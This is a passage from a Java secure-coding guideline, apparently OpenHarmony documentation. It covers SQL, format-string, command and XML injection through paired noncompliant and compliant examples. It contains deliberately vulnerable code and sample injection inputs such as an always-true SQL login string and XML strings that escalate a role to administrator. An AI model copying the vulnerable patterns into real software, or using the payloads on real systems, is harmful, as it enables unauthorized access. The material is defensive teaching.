960e41f4b71Sopenharmony_ci@Accessors(chain = true)
961e41f4b71Sopenharmony_cipublic class Company {
962e41f4b71Sopenharmony_ci    @NotBlank
963e41f4b71Sopenharmony_ci    @Size(min = 10, max = 256)
964e41f4b71Sopenharmony_ci    private String name;
965e41f4b71Sopenharmony_ci
966e41f4b71Sopenharmony_ci    @NotBlank
967e41f4b71Sopenharmony_ci    @Size(min = 10, max = 512)
968e41f4b71Sopenharmony_ci    private String address;
969e41f4b71Sopenharmony_ci
970e41f4b71Sopenharmony_ci    @Valid
971e41f4b71Sopenharmony_ci    private SubCompany subCompany;
972e41f4b71Sopenharmony_ci}
973e41f4b71Sopenharmony_ci```
974e41f4b71Sopenharmony_ci
975e41f4b71Sopenharmony_ciThis compliant code example uses the @Valid annotation to trigger parameter validation, and the validation logic is the rule specified by the annotation during object attribute declaration. Since the public method `employeeService.updateCompany()` is invoked inside the current module and parameter validation is performed for the invocation, further validation is not required.
976e41f4b71Sopenharmony_ci
977e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]**
978e41f4b71Sopenharmony_ci
979e41f4b71Sopenharmony_ciThis noncompliant code example directly uses the obtained environment variable value without validating it.
980e41f4b71Sopenharmony_ci
981e41f4b71Sopenharmony_ci```java
982e41f4b71Sopenharmony_cipublic static String getFile(String filePath, String fileName) {
983e41f4b71Sopenharmony_ci    //Obtain the class path of the process
984e41f4b71Sopenharmony_ci    String path = System.getProperty(RUNTIME_BASE_DIR);
985e41f4b71Sopenharmony_ci    //Directly use it
986e41f4b71Sopenharmony_ci}
987e41f4b71Sopenharmony_ci```
988e41f4b71Sopenharmony_ci
989e41f4b71Sopenharmony_ci**\[Compliant Code Example]**
990e41f4b71Sopenharmony_ci
991e41f4b71Sopenharmony_ciThis compliant code example uses the `getResource()` and `getResourceAsStream()` methods provided by ClassLoader to obtain resources from the loaded class path.
992e41f4b71Sopenharmony_ci
993e41f4b71Sopenharmony_ci```java
994e41f4b71Sopenharmony_cipublic static String getSavePath(String filePath, String fileName) {
995e41f4b71Sopenharmony_ci    return ClassLoader.getSystemResource(fileName).getPath();
996e41f4b71Sopenharmony_ci}
997e41f4b71Sopenharmony_ci```
998e41f4b71Sopenharmony_ci
999e41f4b71Sopenharmony_ciCanonicalize the environment variable value and validate it before using it:
1000e41f4b71Sopenharmony_ci
1001e41f4b71Sopenharmony_ci```java
1002e41f4b71Sopenharmony_cipublic static String getFile(String filePath, String fileName) {
1003e41f4b71Sopenharmony_ci    //Obtain the class path of the process
1004e41f4b71Sopenharmony_ci    String path = System.getProperty(RUNTIME_BASE_DIR);
1005e41f4b71Sopenharmony_ci
1006e41f4b71Sopenharmony_ci    //Canonicalization
1007e41f4b71Sopenharmony_ci    //Validation, for example, StringUtils.startsWith(path, "/opt/xxxx/release/");
1008e41f4b71Sopenharmony_ci    //Use
1009e41f4b71Sopenharmony_ci}
1010e41f4b71Sopenharmony_ci```
1011e41f4b71Sopenharmony_ci
1012e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]**
1013e41f4b71Sopenharmony_ci
1014e41f4b71Sopenharmony_ciThis noncompliant code example uses the configuration file without validating it.
1015e41f4b71Sopenharmony_ci
1016e41f4b71Sopenharmony_ci```java
1017e41f4b71Sopenharmony_ci@Configuration
1018e41f4b71Sopenharmony_ci@PropertySource("classpath:xxx.properties")
1019e41f4b71Sopenharmony_ci@Component
1020e41f4b71Sopenharmony_cipublic class XxxConfig {
1021e41f4b71Sopenharmony_ci    @Value("${appId}")
1022e41f4b71Sopenharmony_ci    private String appId;
1023e41f4b71Sopenharmony_ci
1024e41f4b71Sopenharmony_ci    @Value("${secret}")
1025e41f4b71Sopenharmony_ci    private String citySecret;
1026e41f4b71Sopenharmony_ci}
1027e41f4b71Sopenharmony_ci```
1028e41f4b71Sopenharmony_ci
1029e41f4b71Sopenharmony_ci**\[Compliant Code Example]**
1030e41f4b71Sopenharmony_ci
1031e41f4b71Sopenharmony_ciThe Spring Boot framework can use annotations @ConfigurationProperties and @Validated to validate the configuration file:
1032e41f4b71Sopenharmony_ci
1033e41f4b71Sopenharmony_ci```java
1034e41f4b71Sopenharmony_ci@ConfigurationProperties(locations = "classpath: xxx.properties", prefix = "xxx")
1035e41f4b71Sopenharmony_ci@Validated
1036e41f4b71Sopenharmony_cipublic class XxxConfig {
1037e41f4b71Sopenharmony_ci    @Value("${appId}")
1038e41f4b71Sopenharmony_ci    @Pattern(regexp = "[0-9_A-Z]{32}")
1039e41f4b71Sopenharmony_ci    private String appId;
1040e41f4b71Sopenharmony_ci
1041e41f4b71Sopenharmony_ci    @Value("${secret}")
1042e41f4b71Sopenharmony_ci    @Pattern(regexp = "[0-9A-Z]{64,138}", message = "Authentication credential error!")
1043e41f4b71Sopenharmony_ci    private String citySecret;
1044e41f4b71Sopenharmony_ci
1045e41f4b71Sopenharmony_ci    //Setter and Getter methods
1046e41f4b71Sopenharmony_ci}
1047e41f4b71Sopenharmony_ci```
1048e41f4b71Sopenharmony_ci
1049e41f4b71Sopenharmony_ciThe ServiceComb framework can use the **validation-api** provided by Java to obtain the configuration file object from the Bean context and explicitly invoke the validation method.
1050e41f4b71Sopenharmony_ci
1051e41f4b71Sopenharmony_ci## Do not directly use external data to concatenate SQL statements
1052e41f4b71Sopenharmony_ci
1053e41f4b71Sopenharmony_ci**\[Description]**
1054e41f4b71Sopenharmony_ci
1055e41f4b71Sopenharmony_ciSQL injection occurs when the database operations represented by SQL statements constructed using external data do not behave as expected, which may lead to information leak or data tampering. The root cause is the direct use of external data to concatenate the SQL statements. The following measures can help prevent SQL injection:
1056e41f4b71Sopenharmony_ci
1057e41f4b71Sopenharmony_ci- Parameterized query: the most effective, but not applicable to table names and field names in SQL statements;
1058e41f4b71Sopenharmony_ci- Trustlist validation on external data: applicable to table names and field names used to concatenate SQL statements;
1059e41f4b71Sopenharmony_ci- Escaping special characters related to SQL injection in external data: applicable to scenarios where SQL statements must be concatenated using strings. Only fields with quotation marks can be escaped.
1060e41f4b71Sopenharmony_ci
1061e41f4b71Sopenharmony_ciParameterized query is preferred because it is an easy way to effectively prevent SQL injection. In addition, parameterized query can improve database access performance. For example, SQL Server and Oracle databases cache a query plan for reuse when the same query statement is executed repeatedly. Common ORM frameworks (such as Hibernate and iBATIS) also support parameterized query.
1062e41f4b71Sopenharmony_ci
1063e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]** (Dynamically Building SQL Statements in Java Code)
1064e41f4b71Sopenharmony_ci
1065e41f4b71Sopenharmony_ci```java
1066e41f4b71Sopenharmony_ciStatement stmt = null;
1067e41f4b71Sopenharmony_ciResultSet rs = null;
1068e41f4b71Sopenharmony_citry {
1069e41f4b71Sopenharmony_ci    String userName = request.getParameter("name");
1070e41f4b71Sopenharmony_ci    String password = request.getParameter("password");
1071e41f4b71Sopenharmony_ci    ...
1072e41f4b71Sopenharmony_ci    String sqlStr = "SELECT * FROM t_user_info WHERE name = '" + userName
1073e41f4b71Sopenharmony_ci        + "' AND password = '" + password + "'";
1074e41f4b71Sopenharmony_ci    stmt = connection.createStatement();
1075e41f4b71Sopenharmony_ci    rs = stmt.executeQuery(sqlString);
1076e41f4b71Sopenharmony_ci    ... //Handle the result set
1077e41f4b71Sopenharmony_ci} catch (SQLException ex) {
1078e41f4b71Sopenharmony_ci    //Handle the exception
1079e41f4b71Sopenharmony_ci}
1080e41f4b71Sopenharmony_ci```
1081e41f4b71Sopenharmony_ci
1082e41f4b71Sopenharmony_ciThis noncompliant code example uses the user-supplied user name and password to construct the SQL statement and verifies the user name and password. The SQL statement is constructed through concatenation, leading to SQL injection risks. An ill-intentioned user who knows the user name can perform the query using `zhangsan' OR 'a' = 'a` and an **arbitrary password**.
1083e41f4b71Sopenharmony_ci
1084e41f4b71Sopenharmony_ci**\[Compliant Code Example]** (Using **PreparedStatement** for Parameterized Query)
1085e41f4b71Sopenharmony_ci
1086e41f4b71Sopenharmony_ci```java
1087e41f4b71Sopenharmony_ciPreparedStatement stmt = null;
1088e41f4b71Sopenharmony_ciResultSet rs = null;
1089e41f4b71Sopenharmony_citry {
1090e41f4b71Sopenharmony_ci    String userName = request.getParameter("name");
1091e41f4b71Sopenharmony_ci    String password = request.getParameter("password");
1092e41f4b71Sopenharmony_ci    ... //Ensure that the lengths of userName and password are valid
1093e41f4b71Sopenharmony_ci    String sqlStr = "SELECT * FROM t_user_info WHERE name=? AND password =?";
1094e41f4b71Sopenharmony_ci    stmt = connection.prepareStatement(sqlStr);
1095e41f4b71Sopenharmony_ci    stmt.setString(1, userName);
1096e41f4b71Sopenharmony_ci    stmt.setString(2, password);
1097e41f4b71Sopenharmony_ci    rs = stmt.executeQuery();
1098e41f4b71Sopenharmony_ci    ... //Handle the result set
1099e41f4b71Sopenharmony_ci} catch (SQLException ex) {
1100e41f4b71Sopenharmony_ci    //Handle the exception
1101e41f4b71Sopenharmony_ci}
1102e41f4b71Sopenharmony_ci```
1103e41f4b71Sopenharmony_ci
1104e41f4b71Sopenharmony_ciIn parameterized query, placeholders are used to represent parameter values required at execution time. In this way, the semantic logic of the SQL query is pre-defined, and the actual parameter value is determined at the execution time. Parameterized query helps databases distinguish semantic logic from parameters in SQL statements, ensuring that user input cannot change the expected semantic logic of the SQL query. If the attacker enters `zhangsan' OR 'a' = 'a` as the user name, the string is used only as the value of the **name** field.
1105e41f4b71Sopenharmony_ci
1106e41f4b71Sopenharmony_ci**\[Compliant Code Example]** (Escaping the Input)
1107e41f4b71Sopenharmony_ci
1108e41f4b71Sopenharmony_ci```java
1109e41f4b71Sopenharmony_cipublic List<Book> queryBooks(List<Expression> queryCondition) {
1110e41f4b71Sopenharmony_ci    ...
1111e41f4b71Sopenharmony_ci    try {
1112e41f4b71Sopenharmony_ci        StringBuilder sb = new StringBuilder("select * from t_book where ");
1113e41f4b71Sopenharmony_ci        Codec oe = new OracleCodec();
1114e41f4b71Sopenharmony_ci        if (queryCondition != null && !queryCondition.isEmpty()) {
1115e41f4b71Sopenharmony_ci            for (Expression e : queryCondition) {
1116e41f4b71Sopenharmony_ci                String exprString = e.getColumn() + e.getOperator();
1117e41f4b71Sopenharmony_ci                String safeValue = XXXEncoder.encodeForSQL(oe, e.getValue());
1118e41f4b71Sopenharmony_ci                sb.append(exprString).append("'").append(safeValue).append("' and ");
1119e41f4b71Sopenharmony_ci            }
1120e41f4b71Sopenharmony_ci            sb.append("1=1");
1121e41f4b71Sopenharmony_ci            Statement stat = connection.createStatement();
1122e41f4b71Sopenharmony_ci            ResultSet rs = stat.executeQuery(sb.toString());
1123e41f4b71Sopenharmony_ci            ... //Other code
1124e41f4b71Sopenharmony_ci        }
1125e41f4b71Sopenharmony_ci    }
1126e41f4b71Sopenharmony_ci    ...
1127e41f4b71Sopenharmony_ci}
1128e41f4b71Sopenharmony_ci```
1129e41f4b71Sopenharmony_ci
1130e41f4b71Sopenharmony_ciAlthough parameterized query is the most convenient and effective way to prevent SQL injection, it is not applicable to all scenarios, because not any part of an SQL statement can be replaced by a placeholder before execution. When an SQL statement is dynamically constructed using external data that cannot be replaced by placeholders before execution, the external data must be validated. Each DBMS has its own escape mechanism to tell the database that the input should be treated as data, not code logic. Therefore, as long as the input data is properly escaped, SQL injection will not occur.
1131e41f4b71Sopenharmony_ci
1132e41f4b71Sopenharmony_ci**Note**: If the passed data is a field name or table name, trustlist validation is recommended.
1133e41f4b71Sopenharmony_ci
1134e41f4b71Sopenharmony_ciSimilar to concatenating parameters in program code, concatenating parameter values to create query strings in stored procedures also has SQL injection risks.
1135e41f4b71Sopenharmony_ci
1136e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]** (Dynamically Building SQL Statements in Stored Procedure)
1137e41f4b71Sopenharmony_ci
1138e41f4b71Sopenharmony_ciSQL Server stored procedure:
1139e41f4b71Sopenharmony_ci
1140e41f4b71Sopenharmony_ci```sql
1141e41f4b71Sopenharmony_ciCREATE PROCEDURE sp_queryItem
1142e41f4b71Sopenharmony_ci    @userName varchar(50),
1143e41f4b71Sopenharmony_ci    @password varchar(50)
1144e41f4b71Sopenharmony_ciAS
1145e41f4b71Sopenharmony_ciBEGIN
1146e41f4b71Sopenharmony_ci    DECLARE @sql nvarchar(500);
1147e41f4b71Sopenharmony_ci    SET @sql = 'SELECT * FROM t_user_info
1148e41f4b71Sopenharmony_ci                WHERE name= ''' + @userName + '''
1149e41f4b71Sopenharmony_ci                AND password= ''' + @password + '''';
1150e41f4b71Sopenharmony_ci    EXEC(@sql);
1151e41f4b71Sopenharmony_ciEND
1152e41f4b71Sopenharmony_ciGO
1153e41f4b71Sopenharmony_ci```
1154e41f4b71Sopenharmony_ci
1155e41f4b71Sopenharmony_ciSimilar to concatenating parameters in program code, concatenating parameter values to create query strings in stored procedures also has SQL injection risks.
1156e41f4b71Sopenharmony_ci
1157e41f4b71Sopenharmony_ci**\[Compliant Code Example]** (Parameterized Query in Stored Procedure)
1158e41f4b71Sopenharmony_ci
1159e41f4b71Sopenharmony_ciSQL Server stored procedure:
1160e41f4b71Sopenharmony_ci
1161e41f4b71Sopenharmony_ci```sql
1162e41f4b71Sopenharmony_ciCREATE PROCEDURE sp_queryItem
1163e41f4b71Sopenharmony_ci    @userName varchar(50),
1164e41f4b71Sopenharmony_ci    @password varchar(50)
1165e41f4b71Sopenharmony_ciAS
1166e41f4b71Sopenharmony_ciBEGIN
1167e41f4b71Sopenharmony_ci    SELECT * FROM t_user_info
1168e41f4b71Sopenharmony_ci    WHERE name = @userName
1169e41f4b71Sopenharmony_ci    AND password = @password;
1170e41f4b71Sopenharmony_ciEND
1171e41f4b71Sopenharmony_ciGO
1172e41f4b71Sopenharmony_ci```
1173e41f4b71Sopenharmony_ci
1174e41f4b71Sopenharmony_ciUse parameterized query in stored procedures and avoid insecure dynamic building of SQL statements. When compiling these stored procedures, the database will generate a SELECT query execution plan to allow only original SQL semantics to be executed and prohibit the execution of any parameter values, even injected SQL statements.
1175e41f4b71Sopenharmony_ci
1176e41f4b71Sopenharmony_ci## Do not use external data to construct format strings
1177e41f4b71Sopenharmony_ci
1178e41f4b71Sopenharmony_ci**\[Description]**
1179e41f4b71Sopenharmony_ci
1180e41f4b71Sopenharmony_ciFormat in Java can convert an object into a character string in a specified format. A format string controls the length, content, and style of the final character string. If the format specified in the format string does not match the format object, an exception may be thrown. An attacker who can directly control a format string can cause information leak, DoS, system functional anomalies, and other risks.
1181e41f4b71Sopenharmony_ci
1182e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]**
1183e41f4b71Sopenharmony_ci
1184e41f4b71Sopenharmony_ci```java
1185e41f4b71Sopenharmony_cipublic String formatInfo(String formatStr) {
1186e41f4b71Sopenharmony_ci    String value = getData();
1187e41f4b71Sopenharmony_ci    return String.format(formatStr, value));
1188e41f4b71Sopenharmony_ci}
1189e41f4b71Sopenharmony_ci
1190e41f4b71Sopenharmony_ciString formatStr = req.getParameter("format");
1191e41f4b71Sopenharmony_ciString formattedValue = formatInfo(formatStr);
1192e41f4b71Sopenharmony_ci```
1193e41f4b71Sopenharmony_ci
1194e41f4b71Sopenharmony_ciIn this noncompliant code example, an externally specified format is used to format a character string. If the externally specified format is not a character type (for example, **%d**), an exception will occur during the format operation.
1195e41f4b71Sopenharmony_ci
1196e41f4b71Sopenharmony_ci**\[Compliant Code Example]**
1197e41f4b71Sopenharmony_ci
1198e41f4b71Sopenharmony_ci```java
1199e41f4b71Sopenharmony_cipublic String formatInfo() {
1200e41f4b71Sopenharmony_ci    String value = getData();
1201e41f4b71Sopenharmony_ci    return String.format("my format: %s", value));
1202e41f4b71Sopenharmony_ci}
1203e41f4b71Sopenharmony_ci```
1204e41f4b71Sopenharmony_ci
1205e41f4b71Sopenharmony_ciThis compliant code example excludes user input from the format string.
1206e41f4b71Sopenharmony_ci
1207e41f4b71Sopenharmony_ci## Do not pass external data to the **Runtime.exec()** method or **java.lang.ProcessBuilder** class
1208e41f4b71Sopenharmony_ci
1209e41f4b71Sopenharmony_ci**\[Description]**
1210e41f4b71Sopenharmony_ci
1211e41f4b71Sopenharmony_ciThe `Runtime.exec()` method or `java.lang.ProcessBuilder` class is used to start a new process and execute commands in the new process. Directly executing a command constructed using external data, for example, `Runtime.getRuntime().exec("ping 127.0.0.1")`, may incur the following risks:
1212e41f4b71Sopenharmony_ci
1213e41f4b71Sopenharmony_ci- The command to be executed is split using the command interpreter. In this mode, multiple commands can be executed, causing command injection risks.
1214e41f4b71Sopenharmony_ci- Parameters are injected into the command using spaces, double quotation marks, or strings starting **-/**, leading to parameter injection risks.
1215e41f4b71Sopenharmony_ci
1216e41f4b71Sopenharmony_ci**Using external data to construct non-shell commands**
1217e41f4b71Sopenharmony_ci
1218e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]**
1219e41f4b71Sopenharmony_ci
1220e41f4b71Sopenharmony_ci```java
1221e41f4b71Sopenharmony_ciString cmd = "ping" + ip;
1222e41f4b71Sopenharmony_ciRuntime rt = Runtime.getRuntime();
1223e41f4b71Sopenharmony_ciProcess proc = rt.exec(cmd);
1224e41f4b71Sopenharmony_ci```
1225e41f4b71Sopenharmony_ci
1226e41f4b71Sopenharmony_ciWhen the value of **ip** is **127.0.0.1 -t**, the **-t** parameter is injected into the executed command. As a result, the ping process is continuously executed.
1227e41f4b71Sopenharmony_ci
1228e41f4b71Sopenharmony_ciThe solutions to command injection or parameter injection are as follows:
1229e41f4b71Sopenharmony_ci
1230e41f4b71Sopenharmony_ci1\. **Do not directly run the command**
1231e41f4b71Sopenharmony_ci
1232e41f4b71Sopenharmony_ciTo use the functions provided by standard Java libraries or open-source components, use the APIs of the libraries or components to avoid running commands.
1233e41f4b71Sopenharmony_ci
1234e41f4b71Sopenharmony_ciIf command execution is inevitable, validate and sanitize external data.
1235e41f4b71Sopenharmony_ci
1236e41f4b71Sopenharmony_ci2\. **Validate external data**
1237e41f4b71Sopenharmony_ci
1238e41f4b71Sopenharmony_ci**\[Compliant Code Example]** (Data Validation)
1239e41f4b71Sopenharmony_ci
1240e41f4b71Sopenharmony_ci```java
1241e41f4b71Sopenharmony_ci...
1242e41f4b71Sopenharmony_ci//The str value comes from the user input
1243e41f4b71Sopenharmony_ciif (!Pattern.matches("[0-9A-Za-z@]+", str)) {
1244e41f4b71Sopenharmony_ci    //Handle the error
1245e41f4b71Sopenharmony_ci}
1246e41f4b71Sopenharmony_ci...
1247e41f4b71Sopenharmony_ci```
1248e41f4b71Sopenharmony_ci
1249e41f4b71Sopenharmony_ciWhen external data is used to concatenate commands, validate external data using a trustlist and exclude special characters that may incur injection risks.
1250e41f4b71Sopenharmony_ci
1251e41f4b71Sopenharmony_ci3\. **Escape external data**
1252e41f4b71Sopenharmony_ci
1253e41f4b71Sopenharmony_ci**\[Compliant Code Example]** (Escape)
1254e41f4b71Sopenharmony_ci
1255e41f4b71Sopenharmony_ci```java
1256e41f4b71Sopenharmony_ciString encodeIp = XXXXEncoder.encodeForOS(new WindowsCodec(), ip);
1257e41f4b71Sopenharmony_ciString cmd = "cmd.exe /c ping " + encodeIp;
1258e41f4b71Sopenharmony_ciRuntime rt = Runtime.getRuntime();
1259e41f4b71Sopenharmony_ciProcess proc = rt.exec(cmd);
1260e41f4b71Sopenharmony_ci...
1261e41f4b71Sopenharmony_ci```
1262e41f4b71Sopenharmony_ci
1263e41f4b71Sopenharmony_ciIf risky special characters cannot be avoided through input validation during command execution, the external input must be escaped. Using escaped fields to concatenate commands can effectively prevent command injection.
1264e41f4b71Sopenharmony_ci
1265e41f4b71Sopenharmony_ciRemarks: The correct practice is to escape only external input, but not the entire concatenated command. The escape method can effectively prevent command injection, but not parameter injection.
1266e41f4b71Sopenharmony_ci
1267e41f4b71Sopenharmony_ci## Do not directly use external data to concatenate XML
1268e41f4b71Sopenharmony_ci
1269e41f4b71Sopenharmony_ci**\[Description]**
1270e41f4b71Sopenharmony_ci
1271e41f4b71Sopenharmony_ciUsing unverified data to construct XML will result in XML injection vulnerabilities. If users are allowed to enter structured XML segments, they can inject XML tags into the XML data domain to rewrite the structure and content of the target XML file. These tags are identified and interpreted by the XML parser and may cause XML injection.
1272e41f4b71Sopenharmony_ci
1273e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]**
1274e41f4b71Sopenharmony_ci
1275e41f4b71Sopenharmony_ci```java
1276e41f4b71Sopenharmony_ciprivate void createXMLStream(BufferedOutputStream outStream, User user)
1277e41f4b71Sopenharmony_ci    throws IOException {
1278e41f4b71Sopenharmony_ci    String xmlString;
1279e41f4b71Sopenharmony_ci    xmlString = "<user><role>operator</role><id>" + user.getUserId()
1280e41f4b71Sopenharmony_ci        + "</id><description>" + user.getDescription() + "</description></user>";
1281e41f4b71Sopenharmony_ci    ... //Parse the XML string
1282e41f4b71Sopenharmony_ci}
1283e41f4b71Sopenharmony_ci```
1284e41f4b71Sopenharmony_ci
1285e41f4b71Sopenharmony_ciAn ill-intentioned user may use the following string as the user ID:
1286e41f4b71Sopenharmony_ci
1287e41f4b71Sopenharmony_ci```
1288e41f4b71Sopenharmony_ci"joe</id><role>administrator</role><id>joe"
1289e41f4b71Sopenharmony_ci
1290e41f4b71Sopenharmony_ci```
1291e41f4b71Sopenharmony_ci
1292e41f4b71Sopenharmony_ciAnd enter the following normal input in the description field:
1293e41f4b71Sopenharmony_ci
1294e41f4b71Sopenharmony_ci```
1295e41f4b71Sopenharmony_ci"I want to be an administrator"
1296e41f4b71Sopenharmony_ci
1297e41f4b71Sopenharmony_ci```
1298e41f4b71Sopenharmony_ci
1299e41f4b71Sopenharmony_ciEventually, the entire XML string becomes the following:
1300e41f4b71Sopenharmony_ci
1301e41f4b71Sopenharmony_ci```xml
1302e41f4b71Sopenharmony_ci<user>
1303e41f4b71Sopenharmony_ci    <role>operator</role>
1304e41f4b71Sopenharmony_ci    <id>joe</id>
1305e41f4b71Sopenharmony_ci    <role>administrator</role>
1306e41f4b71Sopenharmony_ci    <id>joe</id>
1307e41f4b71Sopenharmony_ci    <description>I want to be an administrator</description>
1308e41f4b71Sopenharmony_ci</user>
1309e41f4b71Sopenharmony_ci```
1310e41f4b71Sopenharmony_ci
1311e41f4b71Sopenharmony_ciThe SAX parser (org.xml.sax and javax.xml.parsers.SAXParser) overwrites the value of the second **role** field when interpreting the XML file. As a result, the user is escalated from an operator to an administrator.
1312e41f4b71Sopenharmony_ci
1313e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]** (XML Schema or DTD Validation)
1314e41f4b71Sopenharmony_ci
1315e41f4b71Sopenharmony_ci```java
1316e41f4b71Sopenharmony_ciprivate void createXMLStream(BufferedOutputStream outStream, User user)
1317e41f4b71Sopenharmony_ci    throws IOException {
1318e41f4b71Sopenharmony_ci    String xmlString;
1319e41f4b71Sopenharmony_ci    xmlString = "<user><id>" + user.getUserId()
1320e41f4b71Sopenharmony_ci        + "</id><role>operator</role><description>" + user.getDescription()
1321e41f4b71Sopenharmony_ci        + "</description></user>";
1322e41f4b71Sopenharmony_ci
1323e41f4b71Sopenharmony_ci    StreamSource xmlStream = new StreamSource(new StringReader(xmlString));
1324e41f4b71Sopenharmony_ci
1325e41f4b71Sopenharmony_ci    //Create an SAX parser that uses the schema to perform validation
1326e41f4b71Sopenharmony_ci    SchemaFactory sf = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
1327e41f4b71Sopenharmony_ci    StreamSource ss = new StreamSource(new File("schema.xsd"));
1328e41f4b71Sopenharmony_ci    try {
1329e41f4b71Sopenharmony_ci        Schema schema = sf.newSchema(ss);
1330e41f4b71Sopenharmony_ci        Validator validator = schema.newValidator();
1331e41f4b71Sopenharmony_ci        validator.validate(xmlStream);
1332e41f4b71Sopenharmony_ci    } catch (SAXException ex) {
1333e41f4b71Sopenharmony_ci        throw new IOException("Invalid userId", ex);
1334e41f4b71Sopenharmony_ci    }
1335e41f4b71Sopenharmony_ci
1336e41f4b71Sopenharmony_ci    //The XML is valid and is processed
1337e41f4b71Sopenharmony_ci    outStream.write(xmlString.getBytes(StandardCharsets.UTF_8));
1338e41f4b71Sopenharmony_ci    outStream.flush();
1339e41f4b71Sopenharmony_ci}
1340e41f4b71Sopenharmony_ci```
1341e41f4b71Sopenharmony_ci
1342e41f4b71Sopenharmony_ciThe schema definition in the **schema.xsd** file is as follows:
1343e41f4b71Sopenharmony_ci
1344e41f4b71Sopenharmony_ci```xml
1345e41f4b71Sopenharmony_ci<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
1346e41f4b71Sopenharmony_ci    <xs:element name="user">
1347e41f4b71Sopenharmony_ci        <xs:complexType>
1348e41f4b71Sopenharmony_ci        <xs:sequence>
1349e41f4b71Sopenharmony_ci            <xs:element name="id" type="xs:string"/>
1350e41f4b71Sopenharmony_ci            <xs:element name="role" type="xs:string"/>
1351e41f4b71Sopenharmony_ci            <xs:element name="description" type="xs:string"/>
1352e41f4b71Sopenharmony_ci        </xs:sequence>
1353e41f4b71Sopenharmony_ci        </xs:complexType>
1354e41f4b71Sopenharmony_ci    </xs:element>
1355e41f4b71Sopenharmony_ci</xs:schema>
1356e41f4b71Sopenharmony_ci```
1357e41f4b71Sopenharmony_ci
1358e41f4b71Sopenharmony_ciAn ill-intentioned user may use the following string as the user ID:
1359e41f4b71Sopenharmony_ci
1360e41f4b71Sopenharmony_ci```
1361e41f4b71Sopenharmony_ci"joe</id><role>Administrator</role><!--"
1362e41f4b71Sopenharmony_ci
1363e41f4b71Sopenharmony_ci```
1364e41f4b71Sopenharmony_ci
1365e41f4b71Sopenharmony_ciAnd enter the following string in the description field:
1366e41f4b71Sopenharmony_ci
1367e41f4b71Sopenharmony_ci```
1368e41f4b71Sopenharmony_ci"--><description>I want to be an administrator"
1369e41f4b71Sopenharmony_ci
1370e41f4b71Sopenharmony_ci```
1371e41f4b71Sopenharmony_ci
1372e41f4b71Sopenharmony_ciEventually, the entire XML string becomes the following:
1373e41f4b71Sopenharmony_ci
1374e41f4b71Sopenharmony_ci```xml
1375e41f4b71Sopenharmony_ci<user>
1376e41f4b71Sopenharmony_ci    <id>joe</id>
1377e41f4b71Sopenharmony_ci    <role>Administrator</role><!--</id> <role>operator</role> <description> -->
1378e41f4b71Sopenharmony_ci    <description>I want to be an administrator</description>
1379e41f4b71Sopenharmony_ci</user>
1380e41f4b71Sopenharmony_ci```
1381e41f4b71Sopenharmony_ci
1382e41f4b71Sopenharmony_ciThe `<!--` at the end of the user ID and the `-->` at the beginning of the description field will comment out the role information hard coded in the XML string. Although the user role has been changed to the administrator by an attacker, the entire XML string can still be verified by the schema. XML schema or DTD validation ensures that the XML format is valid, but attackers can tamper with the XML content without breaking the original XML format.
1383e41f4b71Sopenharmony_ci
1384e41f4b71Sopenharmony_ci**\[Compliant Code Example]** (Trustlist Validation)
1385e41f4b71Sopenharmony_ci
1386e41f4b71Sopenharmony_ci```java
1387e41f4b71Sopenharmony_ciprivate void createXMLStream(BufferedOutputStream outStream, User user)
1388e41f4b71Sopenharmony_ci    throws IOException {
1389e41f4b71Sopenharmony_ci    //Write the XML string only when the user ID contains only letters, digits, and underscores (_)
1390e41f4b71Sopenharmony_ci    if (!Pattern.matches("[_a-bA-B0-9]+", user.getUserId())) {
1391e41f4b71Sopenharmony_ci        //Handle the error
1392e41f4b71Sopenharmony_ci    }
1393e41f4b71Sopenharmony_ci    if (!Pattern.matches("[_a-bA-B0-9]+", user.getDescription())) {
1394e41f4b71Sopenharmony_ci        //Handle the error
1395e41f4b71Sopenharmony_ci    }
1396e41f4b71Sopenharmony_ci    String xmlString = "<user><id>" + user.getUserId()
1397e41f4b71Sopenharmony_ci        + "</id><role>operator</role><description>"
1398e41f4b71Sopenharmony_ci        + user.getDescription() + "</description></user>";
1399e41f4b71Sopenharmony_ci    outStream.write(xmlString.getBytes(StandardCharsets.UTF_8));
1400e41f4b71Sopenharmony_ci    outStream.flush();
1401e41f4b71Sopenharmony_ci}
1402e41f4b71Sopenharmony_ci```
1403e41f4b71Sopenharmony_ci
1404e41f4b71Sopenharmony_ciThe trustlist validation ensures that the user ID contains only letters, digits, and underscores (\_)
1405e41f4b71Sopenharmony_ci
1406e41f4b71Sopenharmony_ci**\[Compliant Code Example]** (Using a Secure XML Library)
1407e41f4b71Sopenharmony_ci
1408e41f4b71Sopenharmony_ci```java
1409e41f4b71Sopenharmony_cipublic static void  buildXML(FileWriter writer, User user) throws IOException {
1410e41f4b71Sopenharmony_ci    Document userDoc = DocumentHelper.createDocument();
1411e41f4b71Sopenharmony_ci    Element userElem = userDoc.addElement("user");
1412e41f4b71Sopenharmony_ci    Element idElem = userElem.addElement("id");
1413e41f4b71Sopenharmony_ci    idElem.setText(user.getUserId());
1414e41f4b71Sopenharmony_ci    Element roleElem = userElem.addElement("role");
1415e41f4b71Sopenharmony_ci    roleElem.setText("operator");
1416e41f4b71Sopenharmony_ci    Element descrElem = userElem.addElement("description");
1417e41f4b71Sopenharmony_ci    descrElem.setText(user.getDescription());
1418e41f4b71Sopenharmony_ci    XMLWriter output = null;
1419e41f4b71Sopenharmony_ci    try {
1420e41f4b71Sopenharmony_ci        OutputFormat format = OutputFormat.createPrettyPrint();
1421e41f4b71Sopenharmony_ci        format.setEncoding("UTF-8");
1422e41f4b71Sopenharmony_ci        output = new XMLWriter(writer, format);
1423e41f4b71Sopenharmony_ci        output.write(userDoc);
1424e41f4b71Sopenharmony_ci        output.flush();
1425e41f4b71Sopenharmony_ci    } finally {
1426e41f4b71Sopenharmony_ci        //Close the stream
1427e41f4b71Sopenharmony_ci    }
1428e41f4b71Sopenharmony_ci}
1429e41f4b71Sopenharmony_ci```
1430e41f4b71Sopenharmony_ci
